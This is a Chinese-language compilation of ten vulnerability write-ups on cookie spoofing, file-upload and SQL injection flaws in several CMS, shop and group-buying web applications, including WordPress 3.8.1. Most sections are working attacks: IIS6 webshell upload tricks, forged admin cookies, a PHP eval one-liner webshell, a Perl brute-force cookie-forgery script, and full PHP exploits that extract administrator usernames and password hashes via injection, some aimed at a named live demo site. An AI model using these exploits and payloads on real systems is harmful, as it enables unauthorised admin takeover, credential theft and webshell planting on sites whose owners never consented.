快捷留言簿v10.09 正式版上传漏洞和Cookie欺骗漏洞漏洞预警

时间:2022年12月20日

/

来源:raindrop

/

编辑:本站小编

收藏本文

下载本文

以下是小编收集整理的快捷留言簿v10.09 正式版上传漏洞和Cookie欺骗漏洞漏洞预警,本文共10篇,仅供参考,希望对大家有所帮助。本文原稿由网友“raindrop”提供。

篇1:快捷留言簿v10.09 正式版上传漏洞和Cookie欺骗漏洞漏洞预警

上传漏洞:

漏洞页面:/up/add.asp

利用方法:直接在留言本后面加个漏洞页面地址:譬如:localhost/up/add.asp,

本地构造x.asp;.jpg的图片木马,利用iis6.0的解析漏洞,直接上传。获取webshell,

至于webshell地址:默认为:/up/uploadfile/0701_(上传的文件大小字节)_(文件名称).gif

其完整webshell地址示例:localhost/up/uploadfile/0701_28_x.asp;.jpg

有些留言本,前台关闭了上传功能。但是上传的页面。照样是可以打开的。并不妨碍我们传webshell,至于webshell地址中的“0701”是在配置文件之中配置的。一般来说。没多少人会去更改的。如果确实更改了。你可以传上去。再回到留言首页。查看地址。

Cookie欺骗漏洞:

漏洞页面:/up/admin_main.asp,/up/admin_list.asp

其之代码里面,用了Cookie验证。导致可以欺骗进入管理后台,然后设置上传类型。

最后上传得到Webshell,其之漏洞代码如下:

<%if request.cookies(“picc”)(“picc2”)“” then%>

<%

Dim Msg

If Request.QueryString(“Action”) = “Save” Then SaveData

Sub SaveData

myConn.execute(“update Config set OKAr=’”&Request.Form(“ftype”)&“’,OKsize=”&Request.Form(“fsize”))

Msg = “成功修改了文件数据信息”

End Sub

If msg  “” Then

Response.Write(“”&Msg&“

点击此处返回”)

Response.End()

End If

%>

至于如何利用,

大家自己去琢磨吧,我想应该不难哦。

篇2:正版逍遥网店系统 V3.0 COOKIE欺骗漏洞漏洞预警

OK开始,这是一个网店,本来我想先找注入,貌似注入都过滤了,于是我又来到后台,看了下检测文件,悲剧由此产生:

漏洞文件:checkadmin.asp

<%

if request.cookies(“buyok”)(“admin”)=“” then response.write “

%>

大家看到这里一定以为很简单吧,呵呵 直接COOKIE欺骗就可以进后台,如果真的这样我就不发了~!留个悬念让大家去试试。

然后我进入后台,127.0.0.1/admin/index.asp.自动跟我弹了回来。我当时就郁闷了。继续看代码。

index.asp

网店后台管理

此网页使用了框架,但您的浏览器不支持框架,

看到这里我奇怪了,是调用checkadmin.asp啊 为什么进不了后台。我看到了main.asp。

继续跟进。代码就不发了免得多,最后发现了一个文件。

漏洞文件:include\\buyok_functions.asp

下面贴出部分代码:

set rscheck=conn.execute(“select * from buyok_user where UserId='”&request.cookies(“buyok”)(“userid”)&“'”)

if rscheck.eof and rscheck.bof then

response.write “”

response.end

看到这里大家都懂了吧 呵呵~!

OK附上EXP:

KHWJCNQIVQNSXKMKKYHP=GVPLGBWIQTXZICBWSAALROKUCZBJDYHJMYPDEMHE; buyok=userid=1&temp=login&admin=admin;

修改COOKIE 然后直接进入127.0.0.1/admin/index.asp.

后台:localhost/admin/login.asp

作者:风之传说

篇3:易思ESPCMS Cookie注入漏洞预警

易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,

易思ESPCMS企业网站管理系统V5.6存在Cookie注入漏洞,攻击者可利用此漏洞破坏应用,执行未授权操作。

function in_list {parent::start_pagetemplate();$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;$cartid = $this->fun->accept('ecisp_order_list', 'C'); //接收cookies[‘ecisp_order_list’]$cartid = stripslashes(htmlspecialchars_decode($cartid));$uncartid = !empty($cartid) ? unserialize($cartid) : 0; //$cartid有特殊的格式要求if ($uncartid && is_array($uncartid)) {$didarray = $this->fun->key_array_name($uncartid, 'did', 'amount');$didlist = $this->fun->format_array_text(array_keys($didarray), ',');if (!empty($didlist)) {$db_table = db_prefix . 'document';$db_where = “isclass=1 AND isorder=1 AND did in($didlist) ORDER BY did DESC”;$sql=“SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,addtime,template,filename,filepath FROM $db_table WHERE $db_where”; //动态构造sql语句$rs = $this->db->query($sql); //直接带入查询

直接获取cookies[`ecisp_order_list`]的值,没有经过过滤,直接被用来构造了sql语句,并带入了查询。所以此处形成了一个cookie注入。

接收到的cookies[`ecisp_order_list`]在整个传递过程中,经过了htmlspecialchars_decode()、stripslashes()、unserialize()、key_array_name()、array_keys()、format_array_text()几个函数。

其中stripslashes()使得注入语句可以无视GPC的影响。

但是,由于unserialize()的使用,使得构造exp的难度加大;因为传入unserialize()的值,必须使用一种规定的特殊格式(实施上,我也没有完全吃透这个特殊格式)

我就依靠运气,和一点小技巧,成功地构造出了exp,这里就不细说了。大家可以通过打印几个函数的返回值,来找到构造的方法。(或者,也可以通过下面的exp,来找寻一些规律)

a%3a1%3a%7bs%3a3%3a%22k23%22%3ba%3a2%3a%7bs%3a3%3a%22did%22%3bs%3a159%3a%2224)+and+1%3d2+union+select+1%2c2%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10%2c11%2c12%2c13%2c14%2c15%2c16%2cpassword%2cusername%2c19%2c20%2c21%2c22%2c23%2c24%2c25%2c26%2c27%2c28%2c29%2c30%2c31+from+espcms_admin_member+where+1+in+(1%22%3bs%3a6%3a%22amount%22%3bi%3a1%3b%7d%7d

利用方法

GET URL+ index.php?ac=order&at=list

SetCookie为

ecisp_order_list=a%3a1%3a%7bs%3a3%3a%22k23%22%3ba%3a2%3a%7bs%3a3%3a%22did%22%3bs%3a159%3a%2224)+and+1%3d2+union+select+1%2c2%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10%2c11%2c12%2c13%2c14%2c15%2c16%2cpassword%2cusername%2c19%2c20%2c21%2c22%2c23%2c24%2c25%2c26%2c27%2c28%2c29%2c30%2c31+from+espcms_admin_member+where+1+in+(1%22%3bs%3a6%3a%22amount%22%3bi%3a1%3b%7d%7d

Espcms cookie注入的exp

<?phpprint_r('+-----------------------------------------------+Espcms SQL Injection ExploitAuthor: Desperado && n3wfUsing The Exploit, You Can Hack The World+-----------------------------------------------+'); if ($argc < 2){print_r('Example:php ' .$argv[0]. ' Localhost');exit;}error_reporting(3);ini_set('max_execution_time',0);$host = $argv[1]; //$cookie_file = dirname(__FILE__).'/cookie.txt'; //echo $cookie_file; $strCookie = 'ecisp_order_list=a%3a1%3a%7bs%3a3%3a%22k23%22%3ba%3a2%3a%7bs%3a3%3a%22did%22%3bs%3a159%3a%2224)+and+1%3d2+union+select+1%2c2%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10%2c11%2c12%2c13%2c14%2c15%2c16%2cpassword%2cusername%2c19%2c20%2c21%2c22%2c23%2c24%2c25%2c26%2c27%2c28%2c29%2c30%2c31+from+espcms_admin_member+where+1+in+(1%22%3bs%3a6%3a%22amount%22%3bi%3a1%3b%7d%7d';$url = $host.'/index.php?ac=order&at=list';$ch = curl_init($url);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_COOKIE,$strCookie);$response = curl_exec($ch);curl_close($ch);$uregex = '/(index\\.php\\?ac=article&at=read&did=1\\“>)+(.*)/i'; preg_match_all($uregex, $response, $uresult);$username = explode(”<“, $uresult[2][0]);$pregex = '/()+(.*)/'; preg_match_all($pregex, $response, $presult);$password = explode(”<“,$presult[2][0]); if($username[0]!='' && $password[0]!=''){echo 'Inject Successfully,The username:'.$username[0].”\\n“;echo ”The password:“.$password[0].”\\n“;echo 'The Manager Page:'.$host.'/adminsoft'.”\\n“;}else{echo 'Sorry,This Site is not vulnerable,Inject Failed!'.”\\n“;}?>

篇4:WordPress cookie伪造漏洞详细分析及exp漏洞预警

0×00前言

本文分析的是wordpress3.8.2更新修复的cookie伪造漏洞( CVE -- 0166 ),并给出对应exp,

根据描述WordPress before 3.7.2 and 3.8.x before 3.8.2 都是受影响的,

本地安装wordpress 3.8.1进行测试。

0×01漏洞分析知识准备

登陆wordpress后台后查看cookie

wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1398748782%7C404207f08e7a5f32dcabad2969d6ee28; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1398748782%7Ca09bad0632c45f7295835bcc22f50ba7; wp-settings-time-1=1398577578

其中

wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1398748782%7C404207f08e7a5f32dcabad2969d6ee28;

为认证cookie 其他cookie可有可无,

我们分析下这个cookie的结构

其中cookie名wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91

是 wordpress_md5(siteurl) siteurl为wordpress路径

C:\\AppServ\\www\\wordpress\\wp-includes\\default-constants.php (1 hit)

Line 168: define( 'COOKIEHASH', md5( $siteurl )

我的siteurl为 localhost/wordpress

Md5后为BBFA5B726C6B7A9CF3CDA9370BE3EE91

再看这个cookie的值

admin|1398748782|404207f08e7a5f32dcabad2969d6ee28;

格式为$username|$expiration|$hmac

$username 为用户名

$expiration为cookie有效期

$hamc为登陆成功后服务端赋予客户端的hash

验证过程在wp-includes/pluggable.php 543-549行

$key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);

$hash = hash_hmac('md5', $username . '|' . $expiration, $key);

if ( $hmac != $hash ) {

do_action('auth_cookie_bad_hash', $cookie_elements);

return false;

}

$username,expiration从cookie中取得

从 $username,$pass_frag,$expiration,$scheme中计算中$key。

再用$username,$expiration,$key中计算出hash

对比是否与cookie中的$hmac 一致则给予登陆

为了验证我们上面的分析是否正确

我们将上面代码改成

$key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);

$hash = hash_hmac('md5', $username . '|' . $expiration, $key);

echo '$username:'.$username.”

“;

echo '$pass_frag:'.$pass_frag.”

“;

echo '$expiration:'.$expiration.”

“;

echo '$scheme:'.$scheme.”

“;

echo '$key:'.$key.”

“;

echo '$hash:'.$hash.”

“;

echo '$hmac:'.$hmac.”

“;

exit();

if ( $hmac != $hash ) {

do_action('auth_cookie_bad_hash', $cookie_elements);

return false;

}

即运行到此时 将所有我们好奇的变量打印出来

输出结果:

$username:admin

$pass_frag:XBxI

$expiration:1398748782

$scheme:auth

$key:1002e6cddd0416ac265378aa4ab111f8

$hash:404207f08e7a5f32dcabad2969d6ee28

$hmac:404207f08e7a5f32dcabad2969d6ee28

我们的分析是正确的!

0X02漏洞原理

对比wordpress3.8.2的修复代码

$key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);

$hash = hash_hmac('md5', $username . '|' . $expiration, $key);

- if ( $hmac != $hash ) {

+ if ( hash_hmac( 'md5', $hmac, $key ) !== hash_hmac( 'md5', $hash, $key ) ) {

将!=修改成!==

这便是产生漏洞的地方了

$a == $b;// Equal TRUE if $a is equal to $b.

$a === $b;// Identical TRUE if $a is equal to $b, and they are of the same type

php手册说明如上

==为非严格比较,会进行类型转换后比对

==则要求两个变量类型相同

var_dump(0 == ”a“); // 0 == 0 ->true

var_dump(”1“ == ”01“); // 1 == 1 ->true

var_dump(”10“ == ”1e1“); // 10 == 10 ->true

var_dump(100 == ”1e2“); // 100 == 100 ->true

?>

以上是手册给出的例子

1e2为科学计数法,==运算符中 经过类型转换 是被视为与100相等的,

再回到wordpress上

wordpress_md5(siteurl)=$username|$expiration|$hmac

这个认证cookie中,我们若固定$username的值不变,$hmac固定为0,不断更改$expiration的值,使得

$hash = hash_hmac('md5', $username . '|' . $expiration, $key);

的值不断改变

一旦$hash的值变为科学计数法表示的0如0e+30位0-9任意数字,即可验证通过。

32位下 科学计数法表示0,总共更有:

10^0+10^1+……10^30种情况

而32位md5总共有:

16^32种情况

故攻击成功的概率为:

(10^0+10^1+……10^30)/16^32

约三亿分之一的概率 拼人品了

0x03exp

根据以上分析,我们便可以写出exp了。

Crak.pl

use LWP::UserAgent;

$url=”localhost/wordpress“; #要攻击的wordpress地址

$sitehash=”bbfa5b726c6b7a9cf3cda9370be3ee91“; #$url的md5值

for($i=10000000000;;$i++) #$expiration

{

my $ua = LWP::UserAgent->new;

my $req = HTTP::Request->new('GET' =>$url.”/wp-admin/“);

$req->header('Cookie' =>”wordpress_“.$sitehash.”=admin%7c“.$i.”%7c0;“); #将cookie设成我们想要的情况

my $res = $ua->request($req);

print ”wordpress_“.$sitehash.”=admin%7c“.$i.”%7c0“.”\\n“; #将cookie的值打印出来看看

print $i.”\\t“;

print $url.”/wp-admin/“.”\\n“;

print $res->status_line.”\\n“;

if(index($res->content,”您好,admin“)>0) #如果成功进入后台则记录在D盘下的result.html文件

{

open(SH, ”>>d:/result.html“);

print SH ($i.”\\n“);

}

}

篇5:60度™ CMS 1.0后台COOKIE欺骗以及后台直接GETWEBSHELL漏洞预警

60度™ CMS 官方管理员无节操啊,提交了WOOYUN。联系作者,。作者确认,然后WOOYUN里面忽略。无节操,发布出来

官方下载地址:60du.net/

核心文件是:管理员目录下的check.asp

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

<%

'判断用户是否登陆

ifsession(”cmsname“)=”“andinstr(CStr(Request.ServerVariables(”SCRIPT_NAME“)),site_install&AdminPath&”/login.asp“)=0 then

ifrequest.Cookies(”cmsname“)=”“then//判断cookie中cmsname是否为空

response.Redirect(site_install&AdminPath&”/login.asp“)

elseifSession(”admin_id“) =null then /判断cookie中cmsname是否为空

Response.Write(”“)

else

session(”cmsname“)=request.Cookies(”cmsname“)

session(”cmsid“)=request.Cookies(”cmsid“)

endif

endif

%>

直接伪造cookie,添加cmsname为任意数字 cmsid为1 然后刷新即可

示例:对使用本套程序的一个WEB进行检测

然后后台有文件编辑功能,可直接编辑ASP文件插入一句话

篇6:XPSHOP商城系统Cookies欺骗漏洞漏洞预警

文章作者:121711090

信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

无意中发现这个漏洞的..官方现在还不知道...我没有在别处公布哦..

这个漏洞不好...要直拉改人家管理员密码!!有点儿缺德!!!...

但为了我们的网络更安全..还是看看吧...

首先先看看这个站吧:demo1.xpshop.cn/

先注册一个用户进去..为了方便也为了不要那么垃圾账户在人家系统里.我这说一下我注册好了的用户名:wc1217 密码:77423704

好..还是用啊D打开网站比较好..看截图:记得要保留cookies

之后便看看他的Cookies...

代码:

LoginCode=0684; demo1.xpshop.cnResource=zh-cn; ASP.NET_SessionId=3pxjo23zuikyrk45mx0g4a55; XpShop_CartID=0f810c00-fbbf-4984-951e-555357b14a54; demo1.xpshop.cnLogin=mid=14

我们改一下这两个值:LoginCode=0684;mid=14 .......都改成1  :

代码:

LoginCode=1; demo1.xpshop.cnResource=zh-cn; ASP.NET_SessionId=3pxjo23zuikyrk45mx0g4a55; XpShop_CartID=0f810c00-fbbf-4984-951e-555357b14a54; demo1.xpshop.cnLogin=mid=1

点击修改..后右键刷新看一下..要注意.不要刷得太快...不然就没用了..

之后就成这样了:

当然..也有可能没有..那我们就要改一下:”ASP.NET_SessionId=“ 这个值就好了..随便改一个字就行:如下:

代码:

LoginCode=1; demo1.xpshop.cnResource=zh-cn; ASP.NET_SessionId=fu1q1w3g3qc2vn55naohei55; XpShop_CartID=0f810c00-fbbf-4984-951e-555357b14a54; demo1.xpshop.cnLogin=mid=1

好了..现在再看看会员信息:

是不是有一个”找回密码答案:“呵.....个位都想到了吧..直接就能改管理员密码了..

demo1.xpshop.cn/memberLostpass.aspx这个是改密码的..

如下图:

成功.....demo1.xpshop.cn/admin/default.aspx这里登录后就是怎么拿WEBSHELL了..

可是我一直没弄成..理论是只有这样才行..看..

先插马..再备份..但这里出错了..

还望达人能想出更好的办法..

我想了一晚上了....没辙了....

demo1.xpshop.cn/admin/ftb.imagegallery.aspx?frame=1&rif=admin&cif=admin 这可以列目录

好..就那么多了....有哪位达人弄出好办法了..千万别望了告诉我呀...联系方式:blog.sina.com.cn/qq1217

demo1.xpshop.cn/helps/t.txt

添加flash广告处可直接上传马

营销管理 - flash广告添加

篇7:淘客帝国系统后台cookie欺骗漏洞及后台拿shell漏洞预警

偶然发现的淘客帝国免费版的后台可以cookie欺骗

工具:  老兵的cookie'欺骗工具

关键字: 分类- 商城- 品牌- 女人- 男人- 美容- 鞋包- 数码- 居家- 食品

首先打开工具把cookie改为 COOKIEadminuser=admin; DedeUserID=1; PHPSESSID=11111 ,然后再工具的地址栏那里输入网站的后台(默认后台/admin)等页面全部出来后再在后台目录后加上manage.php 跳转就可以进入后台了,进入后台后怎么样拿shell就简单了,这里就不说了..

补下代码【anfli 补】

getshell 简单 系统配置 {${@eval($_POST['cmd'])}} 一句话连接地址/data/configdata.php

顺便补一下代码===================|The End}

##admin目录下php 部验证##

--------------------main.php

require_once '../include/adminfunction.php';

checkadmin;

---------------------/include/sysfunction.php

#####

function checkadmin(){

global $COOKIEadminuser;

global $sitetitleurl;

//判断

if( (isset($_COOKIE['COOKIEadminuser']) && $_COOKIE['COOKIEadminuser']!=”“) || (isset($_SESSION['adminuser']) && $_SESSION['adminuser']!=”“) ){

} else {

echo(”“);

exit;

}

一看就懂

$_COOKIE['COOKIEadminuser']!=”“ 只要不为空就ok

//index.php 一看到这里就知道 程序员自己催眠了自己 登出就把adminuser 清空 .........COOKIEadminuser是干神马的?

/admin/index.php 是不会通过验证 但是如果访问/admin/manage.php 的话一样ok 也就lz所谓的偶然发现了 COOKIEadminuser 并没有空

if($action==”loginout“){

$_SESSION['adminuser'] = ”“;

SetCookie(”adminuser“, ”“);

redirect_to($sitetitleurl);

其实所有审计过程 是倒序

篇8:最土团购系统盲注及cookie欺骗漏洞漏洞预警

最土团购系统是国内著名团购程序,在国内团购系统份额中所占比例很大,但因有些版本某些地方过滤不完全导致注射漏洞(非通杀)。

查找方式

powered by zuitu

漏洞分析

1.注入漏洞

首先看一下全局核心文件app.php代码:

管理员 $login_user = Table::Fetch('user', $login_user_id);追踪GetLoginId方法:static public function GetLoginId() {        $user_id = abs(intval(Session::Get('user_id')));        if (!$user_id) {            $u = ZUser::GetLoginCookie(self::$cookie_name); //调用cookie            $user_id = abs(intval($u['id']));        }        if ($user_id) self::Login($user_id);        return $user_id;    }     static public function GetLoginCookie($cname='ru') {        $cv = cookieget($cname); //获取cookie值        if ($cv) {            $zone = base64_decode($cv); //对cookie值base64解密            $p = explode('@', $zone, 2); //用@分隔成数组            return DB::GetTableRow('user', array(  //进入user表查询                'id' =>$p[0], //第一部分为id,默认超级管理员id为1                'password' =>$p[1],  //第二部分为加密后的密码hash            ));        }        return Array();    }    /*cookie获得方式*/     function cookieget($k, $default='') {    $pre = substr(md5($_SERVER['HTTP_HOST']),0,4);    $k = ”{$pre}_{$k}“;    return isset($_COOKIE[$k]) ? strval($_COOKIE[$k]) : $default; }

真正用到的参数是id,password的hash。密码学告诉我们解密的关键是密钥,而不是算法,那通过注入我们掌握了id和password直接cookie欺骗,以管理员身份登录。由于后台需要二次登录,所以思路是我们在前台用超级管理员欺骗登陆后,pass掉管理员密码,登录后台。

说了很多废话,整合两个漏洞,最后上exp:

< 3) { print_r(' -------------------------------------------------------+    Example:        php.exe exp.php localhost password                                --l4yn3 -------------------------------------------------------+ '); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; //域名 $param = $argv[2]; //注入字段 username or password $res = ''; for($i=1;$i<=32;$i++) {    $find_str = blindExp($i);    if($find_str == '~')break;    echo ”The $i word: $find_str\\n“;    $res .= $find_str; } if(empty($res)) {    print('Exploited failed!');    exit; } print_r(”        The $param is $res\\n                        I'm trying to login the website,wait...... “); $session_id = sharpLogin($argv[1], $res); print_r(' Login completely! The PHPSESSID is '.$session_id.'! Please copy the command \\'javascript.:alert(document.cookie=\\'PHPSESSID='.$session_id.'\\');\\' to the widow which the '.$host.' is opened, then reload the window!                                                    Good Luck!                                                            ----l4yn3                                                            '); exit; /*信息刺探*/ function getData($i, $count) {    global $host, $param;    $url = ”$host/ajax/coupon.php?action=consume&id=--9876')%20or%20exists(select%20*%20from%20user%20where%20manager='Y'%20and%20ord(substring($param,$i,1))>$count%20and%20id=1%20order%20by%20id%20desc%20limit%201)--%20sdf“; //14561      $remove_data = @file_get_contents($url);    if(!strstr($remove_data, '--9876'))    {        return 1;    }    return 0; } /*账号和密码猜解*/ function blindExp($pos) {    $counter_min = 20;    $counter_max = 128;    $counter_middel = 0;    $res = '';    $i = 0;    while($i <=10)    {        $counter_middel = ($counter_max + $counter_min) / 2;        $res = getData($pos, $counter_middel);        if(empty($res))        {            $counter_max = floor($counter_middel);        }        else        {            $counter_min = ceil($counter_middel);        }        if($counter_max == $counter_min && $counter_max != 20)        {            $res = chr($counter_max);            break;        }        $i++;    }    return preg_match('/[\\d\\S]/', $res) ? $res : '~'; } /*伪造cookie*/ function sharpLogin($host = '', $password = '') {    $time = time() + 3600 * 24 *30;    $key = substr(md5($host), 0, 4);    $cookie_key = $key.”_ru“;    $cookie_val = base64_encode('1@'.$password

);    $data = '';    $data .= ”GET /index.php HTTP/1.1\\r\\n“;    $data .= ”Host: $host\\r\\n“;    $data .= ”Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\n“;    $data .= ”Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\\r\\n“;    $data .= ”Cookie: {$cookie_key}_city=1; cnzz_a2262318=3; sin2262318=; rtime=0; ltime=$time; cnzz_eid=19056328-1285688892-; $cookie_key=$cookie_val\\r\\n“;    $data .= ”Connection: Close\\r\\n\\r\\n“;    $fp = fsockopen($host, 80);    fputs($fp, $data);    $res = '';    while($fp && !feof($fp))    {        $res .= fread($fp, 1024);    }    fclose($fp);    $session_id = getSessionId($res);    if($session_id)return $session_id;    else return false; } /*获取sessionid*/ function getSessionId($data) {    preg_match(”/PHPSESSID=([\\d\\w]+);/iU“, $data, $match);    if(isset($match[1]))    {        return $match[1];    }    return ''; }

exp返回如下代码:

The PHPSESSID is 9fb4dff8d28c07aa4e2a6ea67f7ed2ab! Please copy the command 'javascript.:alert(document.cookie='PHPSESSID=9fb4dff8d28c07aa4e2a6ea67f7ed2ab'); ' to the widow which the www.abc.com is opened, then reload the window!拷贝'javascript.:alert(document.cookie='PHPSESSID=9fb4dff8d28c07aa4e2a6ea67f7ed2ab');到打开当前网站的浏览器窗口输入栏,回车,刷新,即登录成功,

请勿用于非法用途,仅用于技术交流。

篇9:Discuz x1.5盗取任意用户cookie漏洞预警

刚刚提交360没有通过,然后我就博客发布把。

就是这样的,谢谢大家了,

请注明来处

篇10:最土团购系统盲注及cookie欺骗漏洞分析漏洞预警

发布日期:2010-10.23

发布作者:l4yn3

影响版本:未知

官方地址:www.zuitu.com/

漏洞类型:Cookie欺骗、SQL注入

漏洞描述:最土团购系统是国内著名团购程序,在国内团购系统份额中所占比例很大,但因有些版本某些地方过滤不完全导致注射漏洞(非通杀)。

漏洞分析

1.注入漏洞

首先看一下全局核心文件app.php代码:

function magic_gpc($string) { if(SYS_MAGICGPC) { if(is_array($string)) { foreach($string as $key =>$val) { $string[$key] = magic_gpc($val); } } else { $string = stripslashes($string); } } return $string; }

对所传递的参数进行反转义,即用程序关闭gpc功能,和一般的程序正好相反,开始我很费解,看到数据库类的时候,才明白意图,看db.class.php代码:

static public function EscapeString( $string ) { self::Instance(); return @mysql_real_escape_string( $string, self::$mConnection ); } 在php端去掉gpc功能,在库操作的时候用mysql_real_escape_string转义,实现数据库安全,值得程序员借鉴,但是有意思的是看一下GetDbRowById方法代码:

static public function GetDbRowById($table, $ids=array()) { $one = is_array($ids) ? false : true; settype($ids, 'array'); $idstring = join('\\',\\'', $ids); //用','进行连接,程序自己已经用到了',所以这个方法不能用mysql_real_escape_string转义,结合上面gpc反转义,出现漏洞 $q = ”SELECT * FROM `{$table}` WHERE id IN ('{$idstring}')“; $r = self::GetQueryResult($q, $one); if ($one) return $r; return Utility::AssColumn($r, 'id'); }Table类的FetchForce方法用到了GetDbRowById方法,文件ajax/coupon.php中漏洞触发代码: $action = strval($_GET['action']); $cid = strval($_GET['id']); //strval,不是intval $sec = strval($_GET['secret']); 省略无用代码...... else if($action == 'consume') { $coupon = Table::FetchForce('coupon', $cid); //利用到了cid,形成漏洞 $partner = Table::Fetch('partner', $coupon['partner_id']); $team = Table::Fetch('team', $coupon['team_id']); if (!$coupon) { $v[] = ”#{$cid} 无效“; $v[] = '本次消费失败'; } 接着省略...... 因为是ajax调用文件和逻辑问题,注入没有显示(或者说很麻烦),直接盲住。构造url: 50%20and%20id=1%20order%20by%20id%20desc%20limit%201)--%20sdf”>www.abc.com/ajax/coupon.php?action=consume&id=--9876')%20or%20exists(select%20*%20from%20user%20where%20manager='Y'%20and%20ord(substring(password,1,1))>50%20and%20id=1%20order%20by%20id%20desc%20limit%201)--%20sdf。

2.cookie欺骗

系统对密码加密采取的是salt+密码md5加密,破解的可能为0。看app.php如下代码:

$currency = $INI['system']['currency']; $login_user_id = ZLogin::GetLoginId(); //尝试获取user_id,系统默认第一个注册的为超级管理员 $login_user = Table::Fetch('user', $login_user_id);追踪GetLoginId方法: static public function GetLoginId() { $user_id = abs(intval(Session::Get('user_id'))); if (!$user_id) { $u = ZUser::GetLoginCookie(self::$cookie_name); //调用cookie $user_id = abs(intval($u['id'])); } if ($user_id) self::Login($user_id); return $user_id; } static public function GetLoginCookie($cname='ru') { $cv = cookieget($cname); //获取cookie值 if ($cv) { $zone = base64_decode($cv); //对cookie值base64解密 $p = explode('@', $zone, 2); //用@分隔成数组 return DB::GetTableRow('user', array( //进入user表查询 'id' =>$p[0], //第一部分为id,默认超级管理员id为1 'password' =>$p[1], //第二部分为加密后的密码hash )); } return Array(); } /*cookie获得方式*/ function cookieget($k, $default='') { $pre = substr(md5($_SERVER['HTTP_HOST']),0,4); $k = “{$pre}_{$k}”; return isset($_COOKIE[$k]) ? strval($_COOKIE[$k]) : $default; } 真正用到的参数是id,password的hash。密码学告诉我们解密的关键是密钥,而不是算法,那通过注入我们掌握了id和password直接cookie欺骗,以管理员身份登录。由于后台需要二次登录,所以思路是我们在前台用超级管理员欺骗登陆后,pass掉管理员密码,登录后台。

说了很多废话,整合两个漏洞,最后上exp:

print_r('

-------------------------------------------------------+

ZuiTu TuanGou System Blind Sql Injection Exploit

Author:l4yn3

Team:www.wolvez.org

Blog:hi.baidu.com/l4yn3

-------------------------------------------------------+

');

if($argc < 3)

{

print_r('

-------------------------------------------------------+

Example:

php.exe exp.php localhost password

--l4yn3

-------------------------------------------------------+

');

exit;

}

error_reporting(7);

ini_set('max_execution_time', 0);

$host = $argv[1]; //域名

$param = $argv[2]; //注入字段 username or password

$res = '';

for($i=1;$i<=32;$i++)

{

$find_str = blindExp($i);

if($find_str == '~')break;

echo “The $i word: $find_str\\n”;

$res .= $find_str;

}

if(empty($res))

{

print('Exploited failed!');

exit;

}

print_r(“

The $param is $res\\n

I'm trying to login the website,wait......

”);

$session_id = sharpLogin($argv[1], $res);

print_r('

Login completely!

The PHPSESSID is '.$session_id.'!

Please copy the command

\\'javascript.:alert(document.cookie=\\'PHPSESSID='.$session_id.'\\');\\'

to the widow which the '.$host.' is opened, then reload the window!

Good Luck!

----l4yn3

');

exit;

/*信息刺探*/

function getData($i, $count)

{

global $host, $param;

$url = “$count%20and%20id=1%20order%20by%20id%20desc%20limit%201)--%20sdf”>$host/ajax/coupon.php?action=consume&id=--9876')%20or%20exists(select%20*%20from%20user%20where%20manager='Y'%20and%20ord(substring($param,$i,1))>$count%20and%20id=1%20order%20by%20id%20desc%20limit%201)--%20sdf“; //14561

$remove_data = @file_get_contents($url);

if(!strstr($remove_data, '--9876'))

{

return 1;

}

return 0;

}

/*账号和密码猜解*/

function blindExp($pos)

{

$counter_min = 20;

$counter_max = 128;

$counter_middel = 0;

$res = '';

$i = 0;

while($i <=10)

{

$counter_middel = ($counter_max + $counter_min) / 2;

$res = getData($pos, $counter_middel);

if(empty($res))

{

$counter_max = floor($counter_middel);

}

else

{

$counter_min = ceil($counter_middel);

}

if($counter_max == $counter_min && $counter_max != 20)

{

$res = chr($counter_max);

break;

}

$i++;

}

return preg_match('/[\\d\\S]/', $res) ? $res : '~';

}

/*伪造cookie*/

function sharpLogin($host = '', $password = '')

{

$time = time() + 3600 * 24 *30;

$key = substr(md5($host), 0, 4);

$cookie_key = $key.”_ru“;

$cookie_val = base64_encode('1@'.$password);

$data = '';

$data .= ”GET /index.php HTTP/1.1\\r\\n“;

$data .= ”Host: $host\\r\\n“;

$data .= ”Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\n“;

$data .= ”Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\\r\\n“;

$data .= ”Cookie: {$cookie_key}_city=1; cnzz_a2262318=3; sin2262318=; rtime=0; ltime=$time; cnzz_eid=19056328-1285688892-; $cookie_key=$cookie_val\\r\\n“;

$data .= ”Connection: Close\\r\\n\\r\\n“;

$fp = fsockopen($host, 80);

fputs($fp, $data);

$res = '';

while($fp && !feof($fp))

{

$res .= fread($fp, 1024);

}

fclose($fp);

$session_id = getSessionId($res);

if($session_id)return $session_id;

else return false;

}

/*获取sessionid*/

function getSessionId($data)

{

preg_match(”/PHPSESSID=([\\d\\w]+);/iU\", $data, $match);

if(isset($match[1]))

{

return $match[1];

}

return '';

}

exp返回如下代码:

The PHPSESSID is 9fb4dff8d28c07aa4e2a6ea67f7ed2ab!

Please copy the command

'javascript.:alert(document.cookie='PHPSESSID=9fb4dff8d28c07aa4e2a6ea67f7ed2ab');

'

to the widow which the www.abc.com is opened, then reload the window!拷贝'javascript.:alert(document.cookie='PHPSESSID=9fb4dff8d28c07aa4e2a6ea67f7ed2ab');到打开当前网站的浏览器窗口输入栏,回车,刷新,即登录成功,

